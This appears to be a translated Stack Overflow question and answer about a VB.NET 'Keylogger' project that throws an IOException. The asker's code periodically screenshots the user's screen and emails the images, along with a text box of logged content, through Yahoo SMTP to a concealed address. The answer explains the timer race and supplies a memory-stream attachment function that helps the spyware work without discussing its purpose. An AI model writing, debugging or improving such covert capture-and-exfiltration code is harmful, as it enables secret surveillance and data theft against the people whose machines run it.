【问题标题】:IOException was unhandled vb.netIOException 未处理 vb.net
【发布时间】:2013-08-10 03:38:26
【问题描述】:

当我运行我的程序时,它遇到了这个错误

The process cannot access the file 
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png' 
because it is being used by another process.

这个错误是针对 Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")

有人可以帮助我吗?提前致谢!

这是我的完整代码:

private j as integer = 1

Public Function TakeImage()
    Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
    Dim Img As New Bitmap(Width, Height)
    Dim g As Graphics = Graphics.FromImage(Img)
    g.CopyFromScreen(X, Y, 0, 0, Img.Size)
    g.Dispose()

    Return Img
End Function

Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
    Dim i As Integer


    Dim smtpServer As New SmtpClient
    smtpServer.EnableSsl = True
    Dim mail As New MailMessage
    smtpServer.Credentials = New Net.NetworkCredential("********", "********")
    smtpServer.Port = 587
    smtpServer.Host = "smtp.mail.yahoo.com"
    mail = New MailMessage
    mail.From = New MailAddress("********")
    mail.To.Add("*********")
    mail.Subject = ("Parham")
    mail.Body = txtlogs.Text

    For i = 1 To 3

        Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
            Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
            mail.Attachments.Add(attach)
            smtpServer.Send(mail)
            If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
                File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
            End If
        End Using
    Next

End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    If Not Directory.Exists(Application.StartupPath & "\pic\") Then
        Directory.CreateDirectory(Application.StartupPath & "\pic\")
    End If

End Sub

Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
    Dim picture As Image = TakeImage()

    Using picture
        picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
    End Using

    j += 1
    If j > 3 Then
        j = New Integer
        j = 1
    End If
End Sub

【问题讨论】:

  • 如何加载图像?请出示 TakeImage() 的代码
  • 哦,好吧,对不起,我忘了我要编辑我的代码!
  • 不确定,但我会尝试使用 Using picture = TakeImage(),同时删除所有路径连接并使用 Path.Combine。最后,您的 j 变量存在问题。你发送 img+i 但删除 img+j
  • 是的,因为我想在文件夹名称“pic”中制作 3 张图片,但我无法重写它,因为会出现错误“generic gdi+”,所以我需要删除图片然后另存为新图片。

标签: vb.net ioexception


【解决方案1】:

您应该首先将 Option Strict 设置为 ON,然后修复将显示的警告和错误,然后将您的帖子编辑为实际代码。

异常的原因是 tmrEmail Timer 对象和 tmrScrShot Timer 对象之间的计时问题。

编辑:

此方法采用 Image 对象,然后将其保存到用于创建 System.Net.Mail.Attachment 的内存流中

Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment
    Dim attachment As System.Net.Mail.Attachment
    Using ms As New System.IO.MemoryStream()

        img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)

        attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png")

    End Using

    Return attachment
End Function

【讨论】:

  • 我已经解决了我认为的时间问题,因为 tmrEmail.interval = 60000 和 tmrScrShot.interval = 19000 可以吗?
  • 您还需要注意保存图像所需的时间。因此,如果保存需要 1 秒和几毫秒,则最后一次保存(第三张图片)可能发生在您要将图像添加为附件时。
  • 那么有什么方法可以代替删除文件吗?因为重写通用 gdi+ 会发生错误!
  • 如何避免保存到文件,而是将其保存到内存流中?
  • 刚刚看到您是如何发送图像的。您创建一个 MailMessage,然后执行 for 循环。在 for 循环中,您将第一个图像添加到消息并发送消息。然后添加第二个图像(现在消息包含 2 个图像),然后再次发送它,然后在最后一次迭代中,将第三个图像添加到消息中,这会导致发送带有 3 个图像的消息。 提示:重新设计您的应用程序
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2010-10-12
  • 1970-01-01
  • 1970-01-01
  • 2012-11-24
  • 2011-02-17
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多